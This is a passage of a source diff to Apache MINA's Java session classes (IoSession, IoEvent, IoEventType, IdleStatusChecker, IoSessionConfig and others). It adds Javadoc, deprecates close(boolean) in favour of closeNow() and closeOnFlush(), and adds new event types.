/** + * Update the value for the time-to-live + * + * @param timeToLive The time-to-live (seconds) + */ public void setTimeToLive(int timeToLive) { sessionMap.setTimeToLive(timeToLive); } - private Object generateKey(IoSession session) { - return generateKey(session.getLocalAddress(), session - .getRemoteAddress()); - } - - private Object generateKey(SocketAddress localAddress, - SocketAddress remoteAddress) { - List key = new ArrayList(2); - key.add(remoteAddress); - key.add(localAddress); - return key; - } - - private class DefaultExpirationListener implements - ExpirationListener { + private class DefaultExpirationListener implements ExpirationListener { + @Override public void expired(IoSession expiredSession) { - expiredSession.close(true); + expiredSession.closeNow(); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IdleStatus.java b/mina-core/src/main/java/org/apache/mina/core/session/IdleStatus.java index 00bd3db2c5..c1538b6dcd 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IdleStatus.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IdleStatus.java @@ -19,7 +19,6 @@ */ package org.apache.mina.core.session; - /** * Represents the type of idleness of {@link IoSession} or * {@link IoSession}. There are three types of idleness: @@ -61,11 +60,11 @@ private IdleStatus(String strValue) { } /** - * Returns the string representation of this status. + * @return the string representation of this status. *
    - *
  • {@link #READER_IDLE} - "reader idle"
  • - *
  • {@link #WRITER_IDLE} - "writer idle"
  • - *
  • {@link #BOTH_IDLE} - "both idle"
  • + *
  • {@link #READER_IDLE} - "reader idle"
  • + *
  • {@link #WRITER_IDLE} - "writer idle"
  • + *
  • {@link #BOTH_IDLE} - "both idle"
  • *
*/ @Override diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IdleStatusChecker.java b/mina-core/src/main/java/org/apache/mina/core/session/IdleStatusChecker.java index 9c4b19ebf5..8004385727 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IdleStatusChecker.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IdleStatusChecker.java @@ -29,7 +29,7 @@ import org.apache.mina.util.ConcurrentHashSet; /** - * Detects idle sessions and fires sessionIdle events to them. + * Detects idle sessions and fires sessionIdle events to them. * To be used for service unable to trigger idle events alone, like VmPipe * or SerialTransport. Polling base transport are advised to trigger idle * events alone, using the poll/select timeout. @@ -37,21 +37,22 @@ * @author Apache MINA Project */ public class IdleStatusChecker { - + // the list of session to check - private final Set sessions = - new ConcurrentHashSet(); + private final Set sessions = new ConcurrentHashSet<>(); /* create a task you can execute in the transport code, * if the transport is like NIO or APR you don't need to call it, * you just need to call the needed static sessions on select()/poll() * timeout. - */ + */ private final NotifyingTask notifyingTask = new NotifyingTask(); - - private final IoFutureListener sessionCloseListener = - new SessionCloseListener(); + private final IoFutureListener sessionCloseListener = new SessionCloseListener(); + + /** + * Creates a new instance of IdleStatusChecker + */ public IdleStatusChecker() { // Do nothing } @@ -63,22 +64,14 @@ public IdleStatusChecker() { public void addSession(AbstractIoSession session) { sessions.add(session); CloseFuture closeFuture = session.getCloseFuture(); - + // isn't service reponsability to remove the session nicely ? closeFuture.addListener(sessionCloseListener); } - /** - * remove a session from the list of session being checked. - * @param session - */ - private void removeSession(AbstractIoSession session) { - sessions.remove(session); - } - /** * get a runnable task able to be scheduled in the {@link IoService} executor. - * @return + * @return the associated runnable task */ public NotifyingTask getNotifyingTask() { return notifyingTask; @@ -89,13 +82,19 @@ public NotifyingTask getNotifyingTask() { */ public class NotifyingTask implements Runnable { private volatile boolean cancelled; + private volatile Thread thread; - + // we forbid instantiation of this class outside - /** No qualifier */ NotifyingTask() { + /** No qualifier */ + NotifyingTask() { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void run() { thread = Thread.currentThread(); try { @@ -121,7 +120,7 @@ public void run() { */ public void cancel() { cancelled = true; - Thread thread = this.thread; + if (thread != null) { thread.interrupt(); } @@ -145,9 +144,21 @@ private class SessionCloseListener implements IoFutureListener { public SessionCloseListener() { super(); } - + + /** + * {@inheritDoc} + */ + @Override public void operationComplete(IoFuture future) { removeSession((AbstractIoSession) future.getSession()); } + + /** + * remove a session from the list of session being checked. + * @param session The session to remove + */ + private void removeSession(AbstractIoSession session) { + sessions.remove(session); + } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoEvent.java b/mina-core/src/main/java/org/apache/mina/core/session/IoEvent.java index 0145b0185b..3c923f7c05 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoEvent.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoEvent.java @@ -20,6 +20,7 @@ package org.apache.mina.core.session; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; /** * An I/O event or an I/O request that MINA provides. @@ -29,81 +30,136 @@ * @author Apache MINA Project */ public class IoEvent implements Runnable { + /** The IoEvent type */ private final IoEventType type; + /** The associated IoSession */ private final IoSession session; + /** The stored parameter */ private final Object parameter; + /** + * Creates a new IoEvent + * + * @param type The type of event to create + * @param session The associated IoSession + * @param parameter The parameter to add to the event + */ public IoEvent(IoEventType type, IoSession session, Object parameter) { if (type == null) { throw new IllegalArgumentException("type"); } + if (session == null) { throw new IllegalArgumentException("session"); } + this.type = type; this.session = session; this.parameter = parameter; } + /** + * @return The IoEvent type + */ public IoEventType getType() { return type; } + /** + * @return The associated IoSession + */ public IoSession getSession() { return session; } + /** + * @return The stored parameter + */ public Object getParameter() { return parameter; } - + + /** + * {@inheritDoc} + */ + @Override public void run() { fire(); } + /** + * Fire an event + */ public void fire() { - switch (getType()) { - case MESSAGE_RECEIVED: - getSession().getFilterChain().fireMessageReceived(getParameter()); - break; - case MESSAGE_SENT: - getSession().getFilterChain().fireMessageSent((WriteRequest) getParameter()); - break; - case WRITE: - getSession().getFilterChain().fireFilterWrite((WriteRequest) getParameter()); - break; - case CLOSE: - getSession().getFilterChain().fireFilterClose(); - break; - case EXCEPTION_CAUGHT: - getSession().getFilterChain().fireExceptionCaught((Throwable) getParameter()); - break; - case SESSION_IDLE: - getSession().getFilterChain().fireSessionIdle((IdleStatus) getParameter()); - break; - case SESSION_OPENED: - getSession().getFilterChain().fireSessionOpened(); - break; - case SESSION_CREATED: - getSession().getFilterChain().fireSessionCreated(); - break; - case SESSION_CLOSED: - getSession().getFilterChain().fireSessionClosed(); - break; - default: - throw new IllegalArgumentException("Unknown event type: " + getType()); + switch ( type ) { + case CLOSE: + session.getFilterChain().fireFilterClose(); + break; + + case EVENT: + session.getFilterChain().fireEvent((FilterEvent)getParameter()); + break; + + case EXCEPTION_CAUGHT: + session.getFilterChain().fireExceptionCaught((Throwable) getParameter()); + break; + + case INPUT_CLOSED: + session.getFilterChain().fireInputClosed(); + break; + + case MESSAGE_RECEIVED: + session.getFilterChain().fireMessageReceived(getParameter()); + break; + + case MESSAGE_SENT: + session.getFilterChain().fireMessageSent((WriteRequest) getParameter()); + break; + + case SESSION_CLOSED: + session.getFilterChain().fireSessionClosed(); + break; + + case SESSION_CREATED: + session.getFilterChain().fireSessionCreated(); + break; + + case SESSION_IDLE: + session.getFilterChain().fireSessionIdle((IdleStatus) getParameter()); + break; + + case SESSION_OPENED: + session.getFilterChain().fireSessionOpened(); + break; + + case WRITE: + session.getFilterChain().fireFilterWrite((WriteRequest) getParameter()); + break; + + default: + throw new IllegalArgumentException("Unknown event type: " + getType()); } } + /** + * @see Object#toString() + */ @Override public String toString() { - if (getParameter() == null) { - return "[" + getSession() + "] " + getType().name(); - } + StringBuilder sb = new StringBuilder(); + + sb.append('['); + sb.append(session); + sb.append(']'); + sb.append(type.name()); - return "[" + getSession() + "] " + getType().name() + ": " - + getParameter(); + if (parameter != null) { + sb.append(':'); + sb.append(parameter); + } + + return sb.toString(); } } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoEventType.java b/mina-core/src/main/java/org/apache/mina/core/session/IoEventType.java index ea15987f68..6b455820e4 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoEventType.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoEventType.java @@ -27,13 +27,36 @@ * @author Apache MINA Project */ public enum IoEventType { + /** The session has been created */ SESSION_CREATED, - SESSION_OPENED, - SESSION_CLOSED, - MESSAGE_RECEIVED, - MESSAGE_SENT, - SESSION_IDLE, - EXCEPTION_CAUGHT, - WRITE, + + /** The session has been opened */ + SESSION_OPENED, + + /** The session has been closed */ + SESSION_CLOSED, + + /** A message has been received */ + MESSAGE_RECEIVED, + + /** A message has been sent */ + MESSAGE_SENT, + + /** The session is idle */ + SESSION_IDLE, + + /** An exception has been caught */ + EXCEPTION_CAUGHT, + + /** A write has pccired */ + WRITE, + + /** A close has occured */ CLOSE, + + /** The Input part of the socket has been closed */ + INPUT_CLOSED, + + /** A generic event has been generated */ + EVENT } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSession.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSession.java index 6b3beb7c99..42c375e579 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSession.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSession.java @@ -36,32 +36,32 @@ import org.apache.mina.core.write.WriteRequestQueue; /** - * A handle which represents connection between two end-points regardless of - * transport types. - *

- * {@link IoSession} provides user-defined attributes. User-defined attributes - * are application-specific data which are associated with a session. - * It often contains objects that represents the state of a higher-level protocol - * and becomes a way to exchange data between filters and handlers. - *

- *

Adjusting Transport Type Specific Properties

- *

- * You can simply downcast the session to an appropriate subclass. + *

+ * A handle which represents connection between two end-points regardless of + * transport types. *

- *

- *

Thread Safety

- *

- * {@link IoSession} is thread-safe. But please note that performing - * more than one {@link #write(Object)} calls at the same time will - * cause the {@link IoFilter#filterWrite(IoFilter.NextFilter,IoSession,WriteRequest)} - * to be executed simultaneously, and therefore you have to make sure the - * {@link IoFilter} implementations you're using are thread-safe, too. + *

+ * {@link IoSession} provides user-defined attributes. User-defined attributes + * are application-specific data which are associated with a session. + * It often contains objects that represents the state of a higher-level protocol + * and becomes a way to exchange data between filters and handlers. *

- *

- *

Equality of Sessions

+ *

Adjusting Transport Type Specific Properties

+ *

+ * You can simply downcast the session to an appropriate subclass. + *

+ *

Thread Safety

+ *

+ * {@link IoSession} is thread-safe. But please note that performing + * more than one {@link #write(Object)} calls at the same time will + * cause the {@link IoFilter#filterWrite(IoFilter.NextFilter,IoSession,WriteRequest)} + * to be executed simultaneously, and therefore you have to make sure the + * {@link IoFilter} implementations you're using are thread-safe, too. + *

+ *

Equality of Sessions

* TODO : The getId() method is totally wrong. We can't base * a method which is designed to create a unique ID on the hashCode method. - * {@link #equals(Object)} and {@link #hashCode()} shall not be overriden + * {@link Object#equals(Object)} and {@link Object#hashCode()} shall not be overriden * to the default behavior that is defined in {@link Object}. * * @author Apache MINA Project @@ -97,9 +97,14 @@ public interface IoSession { */ IoFilterChain getFilterChain(); - /** - * TODO Add method documentation + * Get the queue that contains the message waiting for being written. + * As the reader might not be ready, it's frequent that the messages + * aren't written completely, or that some older messages are waiting + * to be written when a new message arrives. This queue is used to manage + * the backlog of messages. + * + * @return The queue containing the pending messages. */ WriteRequestQueue getWriteRequestQueue(); @@ -120,7 +125,7 @@ public interface IoSession { * queued somewhere to support this operation, possibly leading to memory * leak. This means you have to keep calling {@link #read()} once you * enabled this operation. To enable this operation, please call - * {@link IoSessionConfig#setUseReadOperation(boolean)} with true. + * {@link IoSessionConfig#setUseReadOperation(boolean)} with true. * * @throws IllegalStateException if * {@link IoSessionConfig#setUseReadOperation(boolean) useReadOperation} @@ -134,11 +139,14 @@ public interface IoSession { * will be invoked when the message is actually sent to remote peer. * You can also wait for the returned {@link WriteFuture} if you want * to wait for the message actually written. + * + * @param message The message to write + * @return The associated WriteFuture */ WriteFuture write(Object message); /** - * (Optional) Writes the specified message to the specified destination. + * (Optional) Writes the specified message to the specified destination. * This operation is asynchronous; {@link IoHandler#messageSent(IoSession, Object)} * will be invoked when the message is actually sent to remote peer. You can * also wait for the returned {@link WriteFuture} if you want to wait for @@ -151,11 +159,11 @@ public interface IoSession { * way to specify the destination when you write the response message. * This interface provides {@link #write(Object, SocketAddress)} method so you * can specify the destination. - * - * @param destination null if you want the message sent to the + * + * @param message The message to write + * @param destination null if you want the message sent to the * default remote address - * - * @throws UnsupportedOperationException if this operation is not supported + * @return The associated WriteFuture */ WriteFuture write(Object message, SocketAddress destination); @@ -165,43 +173,70 @@ public interface IoSession { * {@link CloseFuture} if you want to wait for the session actually closed. * * @param immediately {@code true} to close this session immediately - * (i.e. {@link #close()}). The pending write requests + * . The pending write requests * will simply be discarded. * {@code false} to close this session after all queued - * write requests are flushed (i.e. {@link #closeOnFlush()}). + * write requests are flushed. + * @return The associated CloseFuture + * @deprecated Use either the {@link #closeNow()} or the {@link #closeOnFlush()} methods */ + @Deprecated CloseFuture close(boolean immediately); - + + /** + * Closes this session immediately. This operation is asynchronous, it + * returns a {@link CloseFuture}. + * + * @return The {@link CloseFuture} that can be use to wait for the completion of this operation + */ + CloseFuture closeNow(); + + /** + * Closes this session after all queued write requests are flushed. This operation + * is asynchronous. Wait for the returned {@link CloseFuture} if you want to wait + * for the session actually closed. + * + * @return The associated CloseFuture + */ + CloseFuture closeOnFlush(); + /** * Closes this session after all queued write requests * are flushed. This operation is asynchronous. Wait for the returned * {@link CloseFuture} if you want to wait for the session actually closed. - * @deprecated use {@link IoSession#close(boolean)} + * @deprecated use {@link #closeNow()} + * + * @return The associated CloseFuture */ - @Deprecated CloseFuture close(); + @Deprecated + CloseFuture close(); /** * Returns an attachment of this session. - * This method is identical with getAttribute( "" ). + * This method is identical with getAttribute( "" ). * + * @return The attachment * @deprecated Use {@link #getAttribute(Object)} instead. */ - @Deprecated Object getAttachment(); + @Deprecated + Object getAttachment(); /** * Sets an attachment of this session. - * This method is identical with setAttribute( "", attachment ). + * This method is identical with setAttribute( "", attachment ). * - * @return Old attachment. null if it is new. + * @param attachment The attachment + * @return Old attachment. null if it is new. * @deprecated Use {@link #setAttribute(Object, Object)} instead. */ - @Deprecated Object setAttachment(Object attachment); + @Deprecated + Object setAttachment(Object attachment); /** * Returns the value of the user-defined attribute of this session. * * @param key the key of the attribute - * @return null if there is no attribute with the specified key + * @return null if there is no attribute with the specified key */ Object getAttribute(Object key); @@ -219,15 +254,19 @@ public interface IoSession { * return defaultValue; * } * + * + * @param key the key of the attribute we want to retreive + * @param defaultValue the default value of the attribute + * @return The retrieved attribute or null if not found */ Object getAttribute(Object key, Object defaultValue); /** * Sets a user-defined attribute. * - * @param key the key of the attribute + * @param key the key of the attribute * @param value the value of the attribute - * @return The old value of the attribute. null if it is new. + * @return The old value of the attribute. null if it is new. */ Object setAttribute(Object key, Object value); @@ -237,7 +276,7 @@ public interface IoSession { * {@link Boolean#TRUE}. * * @param key the key of the attribute - * @return The old value of the attribute. null if it is new. + * @return The old value of the attribute. null if it is new. */ Object setAttribute(Object key); @@ -252,6 +291,10 @@ public interface IoSession { * return setAttribute(key, value); * } * + * + * @param key The key of the attribute we want to set + * @param value The value we want to set + * @return The old value of the attribute. null if not found. */ Object setAttributeIfAbsent(Object key, Object value); @@ -268,13 +311,17 @@ public interface IoSession { * return setAttribute(key); * } * + * + * @param key The key of the attribute we want to set + * @return The old value of the attribute. null if not found. */ Object setAttributeIfAbsent(Object key); /** * Removes a user-defined attribute with the specified key. * - * @return The old value of the attribute. null if not found. + * @param key The key of the attribute we want to remove + * @return The old value of the attribute. null if not found. */ Object removeAttribute(Object key); @@ -284,13 +331,17 @@ public interface IoSession { * with the following code except that the operation is performed * atomically. *
-     * if (containsAttribute(key) && getAttribute(key).equals(value)) {
+     * if (containsAttribute(key) && getAttribute(key).equals(value)) {
      *     removeAttribute(key);
      *     return true;
      * } else {
      *     return false;
      * }
      * 
+ * + * @param key The key we want to remove + * @param value The value we want to remove + * @return true if the removal was successful */ boolean removeAttribute(Object key, Object value); @@ -300,57 +351,80 @@ public interface IoSession { * This method is same with the following code except that the operation * is performed atomically. *
-     * if (containsAttribute(key) && getAttribute(key).equals(oldValue)) {
+     * if (containsAttribute(key) && getAttribute(key).equals(oldValue)) {
      *     setAttribute(key, newValue);
      *     return true;
      * } else {
      *     return false;
      * }
      * 
+ * + * @param key The key we want to replace + * @param oldValue The previous value + * @param newValue The new value + * @return true if the replacement was successful */ boolean replaceAttribute(Object key, Object oldValue, Object newValue); /** - * Returns true if this session contains the attribute with - * the specified key. + * @param key The key of the attribute we are looking for in the session + * @return true if this session contains the attribute with + * the specified key. */ boolean containsAttribute(Object key); /** - * Returns the set of keys of all user-defined attributes. + * @return the set of keys of all user-defined attributes. */ Set getAttributeKeys(); /** - * Returns true if this session is connected with remote peer. + * @return true if this session is connected with remote peer. */ boolean isConnected(); + + /** + * @return true if this session is active. + */ + boolean isActive(); /** - * Returns true if and only if this session is being closed + * @return true if and only if this session is being closed * (but not disconnected yet) or is closed. */ boolean isClosing(); + + /** + * @return true if the session has started and initialized a SSLEngine, + * false if the session is not yet secured (the handshake is not completed) + * or if SSL is not set for this session, or if SSL is not even an option. + */ + boolean isSecured(); + + /** + * @return true if the session was created by an acceptor. + */ + boolean isServer(); /** - * Returns the {@link CloseFuture} of this session. This method returns + * @return the {@link CloseFuture} of this session. This method returns * the same instance whenever user calls it. */ CloseFuture getCloseFuture(); /** - * Returns the socket address of remote peer. + * @return the socket address of remote peer. */ SocketAddress getRemoteAddress(); /** - * Returns the socket address of local machine which is associated with this + * @return the socket address of local machine which is associated with this * session. */ SocketAddress getLocalAddress(); /** - * Returns the socket address of the {@link IoService} listens to to manage + * @return the socket address of the {@link IoService} listens to to manage * this session. If this session is managed by {@link IoAcceptor}, it * returns the {@link SocketAddress} which is specified as a parameter of * {@link IoAcceptor#bind()}. If this session is managed by @@ -361,12 +435,12 @@ public interface IoSession { /** * - * TODO setWriteRequestQueue. + * Associate the current write request with the session * - * @param writeRequestQueue + * @param currentWriteRequest the current write request to associate */ void setCurrentWriteRequest(WriteRequest currentWriteRequest); - + /** * Suspends read operations for this session. */ @@ -386,86 +460,89 @@ public interface IoSession { * Resumes write operations for this session. */ void resumeWrite(); - + /** * Is read operation is suspended for this session. + * * @return true if suspended */ boolean isReadSuspended(); - + /** * Is write operation is suspended for this session. + * * @return true if suspended */ boolean isWriteSuspended(); - + /** * Update all statistical properties related with throughput assuming * the specified time is the current time. By default this method returns * silently without updating the throughput properties if they were * calculated already within last * {@link IoSessionConfig#getThroughputCalculationInterval() calculation interval}. - * If, however, force is specified as true, this method + * If, however, force is specified as true, this method * updates the throughput properties immediately. * @param currentTime the current time in milliseconds + * @param force Force the update if true */ void updateThroughput(long currentTime, boolean force); - + /** - * Returns the total number of bytes which were read from this session. + * @return the total number of bytes which were read from this session. */ long getReadBytes(); /** - * Returns the total number of bytes which were written to this session. + * @return the total number of bytes which were written to this session. */ long getWrittenBytes(); /** - * Returns the total number of messages which were read and decoded from this session. + * @return the total number of messages which were read and decoded from this session. */ long getReadMessages(); /** - * Returns the total number of messages which were written and encoded by this session. + * @return the total number of messages which were written and encoded by this session. */ long getWrittenMessages(); /** - * Returns the number of read bytes per second. + * @return the number of read bytes per second. */ double getReadBytesThroughput(); /** - * Returns the number of written bytes per second. + * @return the number of written bytes per second. */ double getWrittenBytesThroughput(); /** - * Returns the number of read messages per second. + * @return the number of read messages per second. */ double getReadMessagesThroughput(); /** - * Returns the number of written messages per second. + * @return the number of written messages per second. */ double getWrittenMessagesThroughput(); /** - * Returns the number of messages which are scheduled to be written to this session. + * @return the number of messages which are scheduled to be written to this session. */ int getScheduledWriteMessages(); /** - * Returns the number of bytes which are scheduled to be written to this + * @return the number of bytes which are scheduled to be written to this * session. */ long getScheduledWriteBytes(); /** * Returns the message which is being written by {@link IoService}. - * @return null if and if only no message is being written + * @return null if and if only no message is being written */ Object getCurrentWriteMessage(); @@ -473,7 +550,7 @@ public interface IoSession { * Returns the {@link WriteRequest} which is being processed by * {@link IoService}. * - * @return null if and if only no message is being written + * @return null if and if only no message is being written */ WriteRequest getCurrentWriteRequest(); @@ -483,100 +560,102 @@ public interface IoSession { long getCreationTime(); /** - * Returns the time in millis when I/O occurred lastly. + * @return the time in millis when I/O occurred lastly. */ long getLastIoTime(); /** - * Returns the time in millis when read operation occurred lastly. + * @return the time in millis when read operation occurred lastly. */ long getLastReadTime(); /** - * Returns the time in millis when write operation occurred lastly. + * @return the time in millis when write operation occurred lastly. */ long getLastWriteTime(); /** - * Returns true if this session is idle for the specified + * @param status The researched idle status + * @return true if this session is idle for the specified * {@link IdleStatus}. */ boolean isIdle(IdleStatus status); /** - * Returns true if this session is {@link IdleStatus#READER_IDLE}. + * @return true if this session is {@link IdleStatus#READER_IDLE}. * @see #isIdle(IdleStatus) */ boolean isReaderIdle(); /** - * Returns true if this session is {@link IdleStatus#WRITER_IDLE}. + * @return true if this session is {@link IdleStatus#WRITER_IDLE}. * @see #isIdle(IdleStatus) */ boolean isWriterIdle(); /** - * Returns true if this session is {@link IdleStatus#BOTH_IDLE}. + * @return true if this session is {@link IdleStatus#BOTH_IDLE}. * @see #isIdle(IdleStatus) */ boolean isBothIdle(); /** - * Returns the number of the fired continuous sessionIdle events + * @param status The researched idle status + * @return the number of the fired continuous sessionIdle events * for the specified {@link IdleStatus}. - *

- * If sessionIdle event is fired first after some time after I/O, - * idleCount becomes 1. idleCount resets to - * 0 if any I/O occurs again, otherwise it increases to - * 2 and so on if sessionIdle event is fired again without - * any I/O between two (or more) sessionIdle events. + *

+ * If sessionIdle event is fired first after some time after I/O, + * idleCount becomes 1. idleCount resets to + * 0 if any I/O occurs again, otherwise it increases to + * 2 and so on if sessionIdle event is fired again without + * any I/O between two (or more) sessionIdle events. */ int getIdleCount(IdleStatus status); /** - * Returns the number of the fired continuous sessionIdle events + * @return the number of the fired continuous sessionIdle events * for {@link IdleStatus#READER_IDLE}. * @see #getIdleCount(IdleStatus) */ int getReaderIdleCount(); /** - * Returns the number of the fired continuous sessionIdle events + * @return the number of the fired continuous sessionIdle events * for {@link IdleStatus#WRITER_IDLE}. * @see #getIdleCount(IdleStatus) */ int getWriterIdleCount(); /** - * Returns the number of the fired continuous sessionIdle events + * @return the number of the fired continuous sessionIdle events * for {@link IdleStatus#BOTH_IDLE}. * @see #getIdleCount(IdleStatus) */ int getBothIdleCount(); /** - * Returns the time in milliseconds when the last sessionIdle event + * @param status The researched idle status + * @return the time in milliseconds when the last sessionIdle event * is fired for the specified {@link IdleStatus}. */ long getLastIdleTime(IdleStatus status); - /** - * Returns the time in milliseconds when the last sessionIdle event + * @return the time in milliseconds when the last sessionIdle event * is fired for {@link IdleStatus#READER_IDLE}. * @see #getLastIdleTime(IdleStatus) */ long getLastReaderIdleTime(); /** - * Returns the time in milliseconds when the last sessionIdle event + * @return the time in milliseconds when the last sessionIdle event * is fired for {@link IdleStatus#WRITER_IDLE}. * @see #getLastIdleTime(IdleStatus) */ long getLastWriterIdleTime(); /** - * Returns the time in milliseconds when the last sessionIdle event + * @return the time in milliseconds when the last sessionIdle event * is fired for {@link IdleStatus#BOTH_IDLE}. * @see #getLastIdleTime(IdleStatus) */ diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionAttributeMap.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionAttributeMap.java index 362f2dabe5..41a6359b94 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionAttributeMap.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionAttributeMap.java @@ -29,9 +29,8 @@ * @author Apache MINA Project */ public interface IoSessionAttributeMap { - /** - * Returns the value of user defined attribute associated with the + * @return the value of user defined attribute associated with the * specified key. If there's no such attribute, the specified default * value is associated with the specified key, and the default value is * returned. This method is same with the following code except that the @@ -44,15 +43,20 @@ public interface IoSessionAttributeMap { * return defaultValue; * } * + * + * @param session the session for which we want to get an attribute + * @param key The key we are looking for + * @param defaultValue The default returned value if the attribute is not found */ Object getAttribute(IoSession session, Object key, Object defaultValue); /** * Sets a user-defined attribute. * - * @param key the key of the attribute + * @param session the session for which we want to set an attribute + * @param key the key of the attribute * @param value the value of the attribute - * @return The old value of the attribute. null if it is new. + * @return The old value of the attribute. null if it is new. */ Object setAttribute(IoSession session, Object key, Object value); @@ -67,13 +71,20 @@ public interface IoSessionAttributeMap { * return setAttribute(key, value); * } * + * + * @param session the session for which we want to set an attribute + * @param key The key we are looking for + * @param value The value to inject + * @return The previous attribute */ Object setAttributeIfAbsent(IoSession session, Object key, Object value); /** * Removes a user-defined attribute with the specified key. * - * @return The old value of the attribute. null if not found. + * @return The old value of the attribute. null if not found. + * @param session the session for which we want to remove an attribute + * @param key The key we are looking for */ Object removeAttribute(IoSession session, Object key); @@ -83,13 +94,19 @@ public interface IoSessionAttributeMap { * with the following code except that the operation is performed * atomically. *

-     * if (containsAttribute(key) && getAttribute(key).equals(value)) {
+     * if (containsAttribute(key) && getAttribute(key).equals(value)) {
      *     removeAttribute(key);
      *     return true;
      * } else {
      *     return false;
      * }
      * 
+ * + * @param session the session for which we want to remove a value + * @param key The key we are looking for + * @param value The value to remove + * @return true if the value has been removed, false if the key was + * not found of the value not removed */ boolean removeAttribute(IoSession session, Object key, Object value); @@ -99,30 +116,45 @@ public interface IoSessionAttributeMap { * This method is same with the following code except that the operation * is performed atomically. *
-     * if (containsAttribute(key) && getAttribute(key).equals(oldValue)) {
+     * if (containsAttribute(key) && getAttribute(key).equals(oldValue)) {
      *     setAttribute(key, newValue);
      *     return true;
      * } else {
      *     return false;
      * }
      * 
+ * + * @param session the session for which we want to replace an attribute + * @param key The key we are looking for + * @param oldValue The old value to replace + * @param newValue The new value to set + * @return true if the value has been replaced, false if the key was + * not found of the value not replaced */ boolean replaceAttribute(IoSession session, Object key, Object oldValue, Object newValue); /** - * Returns true if this session contains the attribute with - * the specified key. + * @return true if this session contains the attribute with + * the specified key. + * + * @param session the session for which we want to check if an attribute is present + * @param key The key we are looking for */ boolean containsAttribute(IoSession session, Object key); /** - * Returns the set of keys of all user-defined attributes. + * @return the set of keys of all user-defined attributes. + * + * @param session the session for which we want the set of attributes */ Set getAttributeKeys(IoSession session); - + /** * Disposes any releases associated with the specified session. * This method is invoked on disconnection. + * + * @param session the session to be disposed + * @throws Exception If the session can't be disposed */ void dispose(IoSession session) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionConfig.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionConfig.java index d5272728e3..07e6546d67 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionConfig.java @@ -21,16 +21,16 @@ import java.util.concurrent.BlockingQueue; - /** * The configuration of {@link IoSession}. * * @author Apache MINA Project */ public interface IoSessionConfig { - /** - * Returns the size of the read buffer that I/O processor allocates + * Get the read buffer size + * + * @return the size of the read buffer that I/O processor allocates * per each read. It's unusual to adjust this property because * it's often adjusted automatically by the I/O processor. */ @@ -40,11 +40,15 @@ public interface IoSessionConfig { * Sets the size of the read buffer that I/O processor allocates * per each read. It's unusual to adjust this property because * it's often adjusted automatically by the I/O processor. + * + * @param readBufferSize The size of the read buffer */ void setReadBufferSize(int readBufferSize); /** - * Returns the minimum size of the read buffer that I/O processor + * Get the minimum size of the read buffer + * + * @return the minimum size of the read buffer that I/O processor * allocates per each read. I/O processor will not decrease the * read buffer size to the smaller value than this property value. */ @@ -54,11 +58,15 @@ public interface IoSessionConfig { * Sets the minimum size of the read buffer that I/O processor * allocates per each read. I/O processor will not decrease the * read buffer size to the smaller value than this property value. + * + * @param minReadBufferSize The minimum size of the read buffer */ void setMinReadBufferSize(int minReadBufferSize); /** - * Returns the maximum size of the read buffer that I/O processor + * Get the maximum size of the read buffer + * + * @return the maximum size of the read buffer that I/O processor * allocates per each read. I/O processor will not increase the * read buffer size to the greater value than this property value. */ @@ -68,104 +76,151 @@ public interface IoSessionConfig { * Sets the maximum size of the read buffer that I/O processor * allocates per each read. I/O processor will not increase the * read buffer size to the greater value than this property value. + * + * @param maxReadBufferSize The maximum size of the read buffer */ void setMaxReadBufferSize(int maxReadBufferSize); - + /** - * Returns the interval (seconds) between each throughput calculation. - * The default value is 3 seconds. + * Get the throughput interval + * + * @return the interval (seconds) between each throughput calculation. + * The default value is 3 seconds. */ int getThroughputCalculationInterval(); - + /** - * Returns the interval (milliseconds) between each throughput calculation. - * The default value is 3 seconds. + * Get the throughput interval in milliseconds + * + * @return the interval (milliseconds) between each throughput calculation. + * The default value is 3 seconds. */ long getThroughputCalculationIntervalInMillis(); - + /** * Sets the interval (seconds) between each throughput calculation. The - * default value is 3 seconds. + * default value is 3 seconds. + * + * @param throughputCalculationInterval The interval */ void setThroughputCalculationInterval(int throughputCalculationInterval); /** - * Returns idle time for the specified type of idleness in seconds. + * Get the idle time + * + * @return idle time for the specified type of idleness in seconds. + * + * @param status The status for which we want the idle time (One of READER_IDLE, + * WRITER_IDLE or BOTH_IDLE) */ int getIdleTime(IdleStatus status); /** - * Returns idle time for the specified type of idleness in milliseconds. + * Get the idle time in milliseconds + * + * @return idle time for the specified type of idleness in milliseconds. + * + * @param status The status for which we want the idle time (One of READER_IDLE, + * WRITER_IDLE or BOTH_IDLE) */ long getIdleTimeInMillis(IdleStatus status); /** * Sets idle time for the specified type of idleness in seconds. + * @param status The status for which we want to set the idle time (One of READER_IDLE, + * WRITER_IDLE or BOTH_IDLE) + * @param idleTime The time in second to set */ void setIdleTime(IdleStatus status, int idleTime); /** - * Returns idle time for {@link IdleStatus#READER_IDLE} in seconds. + * Get the read idle time + * + * @return idle time for {@link IdleStatus#READER_IDLE} in seconds. */ int getReaderIdleTime(); - + /** - * Returns idle time for {@link IdleStatus#READER_IDLE} in milliseconds. + * Get the read idle time in milliseconds + * + * @return idle time for {@link IdleStatus#READER_IDLE} in milliseconds. */ long 